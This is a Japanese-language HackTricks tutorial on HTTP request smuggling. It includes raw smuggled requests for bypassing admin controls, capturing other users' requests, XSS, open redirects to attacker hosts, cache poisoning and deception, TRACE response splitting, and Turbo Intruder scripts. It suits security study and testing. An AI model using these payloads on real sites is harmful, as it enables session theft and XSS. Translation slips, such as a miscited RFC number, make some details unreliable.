HTTP Request Smuggling / HTTP Desync Attack

htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

何を指すか

この脆弱性は、フロントエンドプロキシバックエンドサーバーの間の非同期化により、攻撃者フロントエンドプロキシ(ロードバランス/リバースプロキシ)によって1つのリクエストとして解釈され、バックエンドサーバーによって2つのリクエストとして解釈される HTTP リクエスト送信できるようにします。 これにより、ユーザーは自分の後にバックエンドサーバーに到着する次のリクエストを変更できます。

理論

RFC 仕様(2161)

メッセージに Transfer-Encoding ヘッダーフィールドと Content-Length ヘッダーフィールドの両方が含まれる場合、後者は無視される必要があります。

Content-Length

Content-Length エンティティヘッダーは、受信者に送信されるエンティティボディのバイト数を示します。

Transfer-Encoding: chunked

Transfer-Encoding ヘッダーは、ペイロードボディを安全にユーザーに転送するために使用されるエンコーディング形式を指定します。 Chunked は、大きなデータがチャンクのシリーズで送信されることを意味します。

現実

フロントエンド(ロードバランス/リバースプロキシ)は content-length または transfer-encoding ヘッダーを処理し、バックエンドサーバーはもう一方を処理して、2つのシステムの間で非同期化を引き起こします。 これは、攻撃者がリバースプロキシに1つのリクエストを送信でき、フロントエンドサーバーが2つの異なるリクエストとして解釈する可能性があるため、非常に重大です。この技術の危険性は、バックエンドサーバーが注入された2番目のリクエスト次のクライアントから来たものとして解釈し、そのクライアントの実際のリクエスト注入されたリクエストの一部として含まれる可能性があることにあります。

特異性

HTTP では、改行文字は 2 バイトで構成されることを覚えておいてください:

  • Content-Length: このヘッダーは、リクエストのボディのバイト数を示す10進数を使用します。ボディは最後の文字で終了することが期待されており、リクエストの最後に改行が必要ではありません

  • Transfer-Encoding: このヘッダーは、次のチャンクバイト数を示す16進数ボディで使用します。チャンク新しい行で終了する必要がありますが、この新しい行は長さ指示子には含まれません。この転送方法は、サイズ 0 のチャンクに続く 2 つの新しい行で終了する必要があります: 0

  • Connection: 私の経験に基づいて、リクエストスムギリングの最初のリクエストで Connection: keep-alive を使用することをお勧めします。

基本的な例

Burp Suite を使用してこれを悪用しようとする場合は、リピーターで Update Content-LengthNormalize HTTP/1 line endings を無効にしてください。一部のガジェットは改行、キャリッジリターン、および不正なコンテンツ長を悪用しています。

HTTP リクエストスムギリング攻撃は、フロントエンドとバックエンドサーバーが Content-Length(CL)および Transfer-Encoding(TE)ヘッダーを解釈する方法の違いを悪用する曖昧なリクエストを送信して作成されます。これらの攻撃は、主に CL.TETE.CL、および TE.TE として表れ、各タイプはこれらのヘッダーの優先順位を一意に組み合わせたものです。脆弱性は、サーバーが同じリクエストを異なる方法で処理することから生じ、予期しないおよび潜在的に悪意のある結果につながる可能性があります。

脆弱性タイプの基本的な例

CL.TE 脆弱性(フロントエンドが Content-Length を使用し、バックエンドが Transfer-Encoding を使用)

  • フロントエンド(CL): Content-Length ヘッダーに基づいてリクエストを処理します。

  • バックエンド(TE): Transfer-Encoding ヘッダーに基づいてリクエストを処理します。

  • 攻撃シナリオ:

  • 攻撃者は、Content-Length ヘッダーの値が実際のコンテンツ長と一致しないリクエストを送信します。

  • フロントエンドサーバーは、Content-Length の値に基づいてリクエスト全体をバックエンドに転送します。

  • バックエンドサーバーは、Transfer-Encoding: chunked ヘッダーによりリクエストをチャンク化し、残りのデータを別々の後続リクエストとして解釈します。

  • 例:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL 脆弱性(フロントエンドが Transfer-Encoding を使用し、バックエンドが Content-Length を使用)

  • フロントエンド(TE): Transfer-Encoding ヘッダーに基づいてリクエストを処理します。

  • バックエンド(CL): Content-Length ヘッダーに基づいてリクエストを処理します。

  • 攻撃シナリオ:

  • 攻撃者は、チャンクサイズ(7b)と実際のコンテンツ長(Content-Length: 4)が一致しないチャンクリクエストを送信します。

  • フロントエンドサーバーは、Transfer-Encoding を尊重し、リクエスト全体をバックエンドに転送します。

  • バックエンドサーバーは、Content-Length を尊重し、リクエストの初期部分のみを処理し(7b バイト)、残りを意図しない後続リクエストの一部として残します。

  • 例:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE脆弱性(両方で使用されるTransfer-Encoding、隠蔽あり)

  • サーバー: 両方がTransfer-Encodingをサポートしていますが、隠蔽を介して無視される可能性があります。

  • 攻撃シナリオ:

  • 攻撃者は、Transfer-Encodingヘッダーを隠蔽してリクエストを送信します。

  • どちらのサーバー(フロントエンドまたはバックエンド)が隠蔽を認識できないかに応じて、CL.TEまたはTE.CL脆弱性が悪用される可能性があります。

  • 1つのサーバーが見たリクエストの未処理部分が、後続のリクエストの一部となり、スマグリングが発生します。

  • 例:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CLシナリオ(フロントエンドとバックエンドの両方で使用されるContent-Length):

  • 両方のサーバーは、Content-Lengthヘッダーだけを基にリクエストを処理します。

  • このシナリオは通常、両サーバーがリクエストの長さをどのように解釈するかに合意があるため、スマグリングにはつながりません。

  • 例:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

通常のリクエスト

CL != 0シナリオ:

  • Content-Lengthヘッダーが存在し、ゼロ以外の値を持ち、リクエストボディにコンテンツがあることを示すシナリオを指します。

  • スマグリング攻撃を理解し、作成する際に重要であり、サーバーがリクエストの終わりをどのように決定するかに影響を与えます。

  • 例:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

空でないボディ

ウェブサーバーの破壊

このテクニックは、初期HTTPデータを読み取りながらウェブサーバーを壊すことが可能であり、接続を閉じることなく行います。これにより、HTTPリクエストのボディが次のHTTPリクエストと見なされます。

例えば、この解説で説明されているように、WerkzeugではUnicode文字を送信するとサーバーが壊れる可能性がありました。ただし、HTTP接続がヘッダー**Connection: keep-aliveで作成された場合、リクエストのボディは読み取られず、接続は開いたままになります。そのため、リクエストのボディ**は次のHTTPリクエストとして処理されます。

ホップバイホップヘッダーを介した強制

ホップバイホップヘッダーを悪用することで、プロキシにContent-LengthヘッダーまたはTransfer-Encodingヘッダーを削除するよう指示することができ、HTTPリクエストスマグリングを悪用することが可能です。

Connection: Content-Length

HTTPリクエストスマグリングの見つけ方

HTTPリクエストスマグリングの脆弱性を特定する方法の1つは、サーバーが操作されたリクエストにどれくらいの時間で応答するかを観察するタイミング技術を使用することです。これらの技術は、CL.TEおよびTE.CLの脆弱性を検出するのに特に役立ちます。これらの方法以外にも、このような脆弱性を見つけるために使用できる他の戦略やツールがあります。

タイミング技術を使用してCL.TE脆弱性を見つける方法

  • 手法:

  • 脆弱性がある場合、バックエンドサーバーが追加のデータを待機するようにするリクエストを送信します。

  • 例:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • 観察:

  • フロントエンドサーバーはContent-Lengthに基づいてリクエストを処理し、メッセージを途中で切断します。

  • バックエンドサーバーは、チャンク形式のメッセージを期待しており、到着しない次のチャンクを待機することで遅延が発生します。

  • 指標:

  • タイムアウトや応答の遅延が発生すること。

  • バックエンドサーバーから400 Bad Requestエラーを受け取ることがあり、詳細なサーバー情報が含まれることがあります。

タイミング技術を使用してTE.CL脆弱性を見つける方法

  • 手法:

  • 脆弱性がある場合、バックエンドサーバーが追加のデータを待機するようにするリクエストを送信します。

  • 例:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • 観察:

  • フロントエンドサーバーはTransfer-Encodingに基づいてリクエストを処理し、メッセージ全体を転送します。

  • バックエンドサーバーは、Content-Lengthに基づいたメッセージを期待しており、到着しない追加のデータを待機することで遅延が発生します。

脆弱性を見つけるための他の方法

  • 差分応答解析:

  • 異なるバージョンのリクエストをわずかに変更して送信し、サーバーの応答が予期しない方法で異なるかどうかを観察し、解析の不一致を示すことがあります。

  • 自動化ツールの使用:

  • Burp Suiteの 'HTTP Request Smuggler' 拡張機能のようなツールを使用すると、曖昧なリクエストのさまざまな形式を送信し、応答を分析してこれらの脆弱性を自動的にテストできます。

  • Content-Lengthの変動テスト:

  • 実際のコンテンツ長さと一致しないContent-Length値を持つリクエストを送信し、サーバーがそのような不一致をどのように処理するかを観察します。

  • Transfer-Encodingの変動テスト:

  • 曖昧または不正なTransfer-Encodingヘッダーを持つリクエストを送信し、フロントエンドサーバーとバックエンドサーバーがそのような操作に対して異なる方法で応答するかを監視します。

HTTPリクエストスマグリングの脆弱性テスト

タイミング技術の効果を確認した後、クライアントリクエストを操作できるかどうかを検証することが重要です。簡単な方法は、リクエストを毒することを試みることです。たとえば、/へのリクエストが404レスポンスを返すようにすることが挙げられます。基本例で以前に議論されたCL.TEおよびTE.CLの例は、クライアントのリクエストを毒する方法を示しており、クライアントが異なるリソースにアクセスしようとしているにもかかわらず、404レスポンスを引き起こす方法を示しています。

主な考慮事項

他のリクエストに干渉してリクエストスマグリングの脆弱性をテストする際には、次の点に注意してください:

  • 異なるネットワーク接続: "攻撃"と "通常" のリクエストは別々のネットワーク接続経由で送信される必要があります。両方のリクエストに同じ接続を使用すると、脆弱性の存在が検証されません。

  • 一貫したURLとパラメータ: 両方のリクエストに同じURLとパラメータ名を使用するようにしてください。現代のアプリケーションでは、URLとパラメータに基づいて特定のバックエンドサーバーにリクエストをルーティングすることがよくあります。これらを一致させることで、両方のリクエストが同じサーバーで処理される可能性が高まり、成功するための前提条件となります。

  • タイミングと競合条件: "通常" のリクエストは、"攻撃" リクエストからの干渉を検出するために、他の同時アプリケーションリクエストと競合します。したがって、"通常" のリクエストは、"攻撃" リクエストの直後に送信してください。忙しいアプリケーションでは、確定的な脆弱性確認のために複数の試行が必要な場合があります。

  • 負荷分散の課題: フロントエンドサーバーが負荷分散装置として機能する場合、リクエストをさまざまなバックエンドシステムに分散することがあります。 "攻撃" と "通常" のリクエストが異なるシステムに送られると、攻撃は成功しません。この負荷分散の側面については、脆弱性を確認するために複数の試行が必要な場合があります。

  • 意図しないユーザーへの影響: 攻撃が誤って他のユーザーのリクエストに影響を与える場合(検出用に送信した "通常" のリクエストではない場合)、攻撃が他のアプリケーションユーザーに影響を与えたことを示します。継続的なテストは他のユーザーに影響を与える可能性があり、慎重なアプローチが必要となる場合があります。

HTTPリクエストスマグリングの悪用

HTTPリクエストスマグリングを利用したフロントエンドセキュリティの回避

時々、フロントエンドプロキシは着信リクエストを検査してセキュリティ対策を施します。しかし、HTTPリクエストスマグリングを悪用することで、これらの対策を回避し、制限されたエンドポイントへの不正アクセスを可能にすることができます。たとえば、/admin へのアクセスが外部から禁止されている場合、フロントエンドプロキシはそのような試みを積極的にブロックするかもしれません。しかし、このプロキシは、スマグリングされたHTTPリクエスト内の埋め込まれたリクエストを検査しない可能性があり、これらの制限をバイパスするための抜け道を残しています。

HTTPリクエストスマグリングを使用してフロントエンドセキュリティコントロールをバイパスする方法を示す以下の例を考えてみましょう。通常、フロントエンドプロキシによって保護されている /admin パスを特定的に対象としています:

CL.TEの例

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE攻撃では、初期リクエストにはContent-Lengthヘッダーが利用されますが、埋め込まれた後続リクエストにはTransfer-Encoding: chunkedヘッダーが利用されます。フロントエンドプロキシは初期のPOSTリクエストを処理しますが、埋め込まれたGET /adminリクエストを検査せず、/adminパスへの未承認アクセスを許可します。

TE.CLの例

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

逆に、TE.CL攻撃では、最初のPOSTリクエストでTransfer-Encoding: chunkedを使用し、その後の埋め込まれたリクエストはContent-Lengthヘッダーに基づいて処理されます。CL.TE攻撃と同様に、フロントエンドプロキシはスマグルされたGET /adminリクエストを見落とし、誤って制限された/adminパスへのアクセスを許可します。

フロントエンドリクエスト書き換えの公開

アプリケーションはしばしば、リクエストをバックエンドサーバーに渡す前に変更するためにフロントエンドサーバーを使用します。典型的な変更には、X-Forwarded-For: <クライアントのIP>などのヘッダーを追加して、クライアントのIPをバックエンドに中継することが含まれます。これらの変更を理解することは重要です。なぜなら、これにより保護をバイパスしたり、隠された情報やエンドポイントを明らかにする方法が明らかになる可能性があるからです。

プロキシがリクエストをどのように変更するかを調査するには、バックエンドが応答でエコーするPOSTパラメーターを見つけます。その後、このパラメーターを最後に使用して、次のようなリクエストを作成します。

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

この構造では、search=の後に続くリクエストコンポーネントが追加され、それがレスポンスで反映されるパラメータとなります。この反映により、後続リクエストのヘッダーが公開されます。

ネストされたリクエストのContent-Lengthヘッダーを実際のコンテンツ長と一致させることが重要です。小さな値から始め、徐々に増やすことが推奨されます。値が低すぎると反映されるデータが切り捨てられ、値が高すぎるとリクエストがエラーになる可能性があります。

このテクニックはTE.CL脆弱性の文脈でも適用可能ですが、リクエストはsearch=\r\n0で終了する必要があります。改行文字に関係なく、値は検索パラメータに追加されます。

この方法は主に、フロントエンドプロキシによって行われたリクエストの変更を理解するために役立ち、基本的には自己調査を行います。

他のユーザーのリクエストをキャプチャする

次のユーザーのリクエストをキャプチャすることは可能であり、POST操作中に特定のリクエストをパラメータの値として追加することで実現できます。以下は、これがどのように実行されるかの例です:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

このシナリオでは、comment parameter は、公開されたページのコメントセクション内のコンテンツを保存するために意図されています。したがって、次のリクエストのコンテンツはコメントとして表示されます。

ただし、このテクニックには制限があります。一般的に、スマグルされたリクエストで使用されるパラメーター区切り記号までのデータのみをキャプチャします。URLエンコードされたフォームの送信では、この区切り記号は & 文字です。これは、被害者ユーザーのリクエストからキャプチャされたコンテンツが最初の & で停止することを意味します。これはクエリ文字列の一部である可能性さえあります。

さらに、このアプローチはTE.CL脆弱性でも有効であることに注意する価値があります。このような場合、リクエストは search=\r\n0 で終了する必要があります。改行文字に関係なく、値は検索パラメーターに追加されます。

反射型XSSを悪用するためにHTTPリクエストスマグリングを使用する

HTTPリクエストスマグリングを利用して、反射型XSS に脆弱なWebページを悪用することができ、次の利点があります:

  • ターゲットユーザーとのやり取りが不要です。

  • 通常は到達不可能なリクエストの一部でXSSを悪用することができます。例えば、HTTPリクエストヘッダー。

User-Agentヘッダーを介して反射型XSSに脆弱なウェブサイトのシナリオでは、次のペイロードがこの脆弱性を悪用する方法を示しています:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

このペイロードは、以下の手順で脆弱性を悪用するために構造化されています:

  1. Transfer-Encoding: chunkedヘッダーを持つ、一見通常のPOSTリクエストを開始し、スマグリングの開始を示します。

  2. 0を続け、チャンク形式のメッセージボディの終わりをマークします。

  3. 次に、スマグリングされたGETリクエストが導入され、User-Agentヘッダーにスクリプト<script>alert(1)</script>が挿入され、サーバーがこの後続リクエストを処理する際にXSSをトリガーします。

User-Agentをスマグリングを通じて操作することで、ペイロードは通常のリクエスト制約をバイパスし、非標準ですが効果的な方法で反射型XSS脆弱性を悪用します。

HTTP/0.9

ユーザーコンテンツが**text/plainなどのContent-typeで応答に反映される場合、XSSの実行を防ぎます。サーバーがHTTP/0.9をサポートしている場合、これをバイパスする可能性があります**!

HTTP/0.9は以前の1.0よりも前で、GET動詞のみを使用し、ヘッダーを返さず、本文のみを返します。

この解説では、HTTP/0.9を使用したリクエストスマグリングとユーザーの入力を返信する脆弱なエンドポイントを悪用し、HTTP/0.9のリクエストをスマグリングしました。応答に反映されるパラメータには**偽のHTTP/1.1応答(ヘッダーと本文を含む)**が含まれていたため、応答にはContent-Typetext/htmlの有効な実行可能なJSコードが含まれます。

HTTPリクエストスマグリングを使用したオンサイトリダイレクトの悪用

アプリケーションはしばしば、リダイレクトURL内のHostヘッダーからホスト名を使用して、1つのURLから別のURLにリダイレクトします。これは、ApacheやIISなどのWebサーバーで一般的です。たとえば、スラッシュなしでフォルダをリクエストすると、スラッシュを含めたリダイレクトが発生します。

GET /home HTTP/1.1
Host: normal-website.com

結果は:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Though seemingly harmless, this behavior can be manipulated using HTTP request smuggling to redirect users to an external site. For example:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

次に処理されるユーザーのリクエストが、攻撃者が制御するウェブサイトにリダイレクトされる可能性がある、この密輸されたリクエストは次のものです:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

結果は:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

HTTPリクエストスマグリングを利用したWebキャッシュポイズニングの悪用

フロントエンドインフラストラクチャのコンポーネントがコンテンツをキャッシュする場合、Webキャッシュポイズニングを実行できます。サーバーのレスポンスを操作することで、キャッシュを汚染することが可能です。

以前、サーバーの応答を変更して404エラーを返す方法を観察しました(基本的な例を参照)。同様に、サーバーをだまして、/static/include.jsのリクエストに対して/index.htmlのコンテンツを返すようにすることが可能です。その結果、/static/include.jsのコンテンツが/index.htmlのものでキャッシュされ、ユーザーがアクセスできなくなり、サービス拒否(DoS)攻撃につながる可能性があります。

この技術は、オープンリダイレクトの脆弱性が発見された場合や、オンサイトリダイレクトがオープンリダイレクトにつながる場合に特に有効です。これらの脆弱性を悪用して、/static/include.jsのキャッシュされたコンテンツを攻撃者が制御するスクリプトに置き換え、更新された/static/include.jsをリクエストするすべてのクライアントに対して広範囲なクロスサイトスクリプティング(XSS)攻撃を可能にします。

以下は、オンサイトリダイレクトがオープンリダイレクトに結びついたキャッシュポイズニングの悪用の図解です。目的は、/static/include.jsのキャッシュコンテンツを攻撃者が制御するJavaScriptコードで提供するように変更することです:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

埋め込まれたリクエストを /post/next?postId=3 に向けることに注意してください。このリクエストは、Host ヘッダーの値を利用してドメインを決定し、/post?postId=4 にリダイレクトされます。攻撃者はHost ヘッダーを変更することで、リクエストを自身のドメインにリダイレクトできます(オンサイトリダイレクトからオープンリダイレクトへ)。

成功したソケットポイズニングの後、/static/include.js へのGETリクエストが開始されるべきです。このリクエストは、以前のオンサイトリダイレクトからオープンリダイレクトリクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。

その後、/static/include.js への任意のリクエストは、攻撃者のスクリプトのキャッシュされたコンテンツを提供し、広範なXSS攻撃を実行します。

Webキャッシュ欺瞞を実行するためのHTTPリクエストスマグリングの使用

WebキャッシュポイズニングとWebキャッシュ欺瞞の違いは何ですか?

  • Webキャッシュポイズニングでは、攻撃者はアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、このコンテンツがキャッシュから他のアプリケーションユーザーに提供されます。

  • Webキャッシュ欺瞞では、攻撃者はアプリケーションに別のユーザーの機密コンテンツをキャッシュに保存させ、その後攻撃者がこのコンテンツをキャッシュから取得します。

攻撃者は、機密のユーザー固有のコンテンツを取得するスマグルされたリクエストを作成します。以下はその例です:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

HTTPリクエストスマグリングを介したWebキャッシュ毒物の悪用

この投稿では、サーバーがTRACEメソッドを有効にしている場合、HTTPリクエストスマグリングを悪用する可能性があると提案されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスの本文の一部として反映するためです。例えば:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

次のようなレスポンスを送信します:

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

この動作を悪用する例として、まずHEADリクエストを紛れ込ませることが挙げられます。このリクエストは、GETリクエストのヘッダーのみで応答されます(Content-Typeを含む)。そして、HEADの直後にTRACEリクエストを紛れ込ませ、これにより送信されたデータが反映されます。 HEADの応答にはContent-Lengthヘッダーが含まれているため、TRACEリクエストの応答はHEADリクエストの本文として扱われ、応答に任意のデータが反映されます。 この応答は次のリクエストに接続経由で送信されるため、これは例えばキャッシュされたJSファイルで任意のJSコードを挿入するために使用できます

HTTPレスポンススプリッティングを介したTRACEの悪用

この投稿を引き続き参照することで、TRACEメソッドを悪用する別の方法が提案されています。コメントにあるように、HEADリクエストとTRACEリクエストを紛れ込ませることで、HEADリクエストへの応答に反映されるデータを一部制御することが可能です。HEADリクエストの本文の長さは基本的にContent-Lengthヘッダーで示され、TRACEリクエストの応答によって形成されます。

したがって、新しいアイデアは、このContent-LengthとTRACE応答で与えられたデータを知ることで、TRACE応答にContent-Lengthの最後のバイトの後に有効なHTTP応答が含まれるようにすることが可能であり、攻撃者は次の応答を完全に制御することができます(これはキャッシュポイズニングを実行するために使用できます)。

例:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

次のようなレスポンスを生成します(HEADレスポンスにContent-Lengthがあることに注意してください。これにより、TRACEレスポンスがHEAD本文の一部となり、HEADのContent-Lengthが終了すると有効なHTTPレスポンスがスマグルされます)。

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

HTTPリクエストスマグリングをHTTPレスポンスデシンクロ化で武装化する

HTTPリクエストスマグリングの脆弱性を見つけたが、そのエクスプロイト方法がわからない場合は、以下の別のエクスプロイト方法を試してみてください:

pageHTTP Response Smuggling / Desync

その他のHTTPリクエストスマグリングテクニック

  • ブラウザHTTPリクエストスマグリング(クライアント側)

pageBrowser HTTP Request Smuggling
  • HTTP/2のダウングレードにおけるリクエストスマグリング

pageRequest Smuggling in HTTP/2 Downgrades

Turbo intruderスクリプト

CL.TE

From https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

From: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

ツール

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated